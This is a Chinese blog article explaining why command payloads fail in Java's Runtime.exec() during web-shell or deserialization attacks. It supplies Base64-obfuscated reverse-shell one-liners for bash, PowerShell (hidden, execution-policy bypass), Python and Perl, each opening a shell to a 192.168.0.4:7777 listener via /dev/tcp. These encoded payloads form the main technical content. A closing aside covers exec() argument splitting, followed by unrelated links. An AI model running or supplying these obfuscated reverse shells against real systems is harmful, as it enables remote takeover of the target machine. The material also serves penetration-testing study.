java.lang.Runtime.exec() Payload知识点详解
作者:御用闲人 时间:2023-11-30 09:56:10
有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败。使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况。
有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义。例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中。但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表。
有时,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。像ls“我的目录”之类的东西将被解释为ls“我的目录”。
借助Base64编码,下面的转换器可以帮助减少这些问题。它可以通过调用Bash或PowerShell来制作管道并重新定向,还可以确保参数内没有空格。
样例:
原文
bash -i >& /dev/tcp/192.168.0.4/7777 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
#bash
powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc YgBhAHMAaAAgAC0AaQAgAD4AJgAgAC8AZABlAHYALwB0AGMAcAAvADEAOQAyAC4AMQA2ADgALgAwAC4ANAAvADcANwA3ADcAIAAwAD4AJgAxAA==
#powershell
python -c exec('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='.decode('base64'))
#python
perl -MMIME::Base64 -e eval(decode_base64('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuNC83Nzc3IDA+JjE='))
#perl
中间的字符均为“base64”编码。
知识点扩展:
java.lang.Runtime.getRuntime().exec(cmd)命令中参数不能用空格怎么办?
项目中无法执行c程序,猜测是exec()函数的问题
String cmd= exe_path + " " +video + " " +host + ":" + port;
Process process = runtime.exec(cmd);
来源:https://www.cnblogs.com/yyxianren/p/12461952.html
标签:java,Runtime
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
解决springboot项目不配置数据源启动报错问题
2022-04-27 23:12:21
![](https://img.aspxhome.com/file/2023/4/100674_0s.png)
Unity实现俄罗斯方块
2021-05-28 13:37:08
![](https://img.aspxhome.com/file/2023/8/69198_0s.jpg)
android APP登陆页面适配的实现
2022-08-27 17:55:57
![](https://img.aspxhome.com/file/2023/8/88698_0s.gif)
C#如何给新建的winform程序添加资源文件夹Resources
2021-11-08 18:37:56
![](https://img.aspxhome.com/file/2023/6/125986_0s.png)
java 数据结构基本算法希尔排序
2021-09-14 02:09:50
JAVA ArrayList详细介绍(示例)
2023-02-18 22:30:56
![](https://img.aspxhome.com/file/2023/3/61143_0s.jpg)
C#使用JArray和JObject封装JSON对象
2022-10-15 16:56:16
![](https://img.aspxhome.com/file/2023/8/77238_0s.png)
使用Thumbnails实现图片指定大小压缩
2021-11-14 11:07:34
![](https://img.aspxhome.com/file/2023/7/138267_0s.jpg)
Android学习笔记(一)环境安装及第一个hello world
2022-03-10 03:05:43
![](https://img.aspxhome.com/file/2023/2/139272_0s.png)
Spring Boot Admin实践详解
2023-08-25 06:57:53
MyBatis-Plus 集成动态多数据源的实现示例
2023-06-26 17:56:35
C#实现语音播报功能
2023-06-26 20:35:26
![](https://img.aspxhome.com/file/2023/9/92899_0s.jpg)
java获取当前时间的四种方法代码实例
2023-11-28 19:22:53
Java使用DateFormatter格式化日期时间的方法示例
2021-07-15 15:29:23
![](https://img.aspxhome.com/file/2023/2/70322_0s.jpg)
Android UI效果之绘图篇(一)
2022-03-24 08:30:51
Java DelayQueue实现任务延时示例讲解
2023-03-17 01:37:49
java实现基于Tcp的socket聊天程序
2022-03-11 15:28:07
![](https://img.aspxhome.com/file/2023/5/103845_0s.jpg)
Android开发中Bitmap高效加载使用详解
2021-06-05 01:32:15
![](https://img.aspxhome.com/file/2023/4/103894_0s.png)
springboot使用IDEA远程Debug
2021-12-13 06:40:35
![](https://img.aspxhome.com/file/2023/5/61245_0s.jpg)
C#实现调用本机摄像头实例
2022-07-01 19:54:49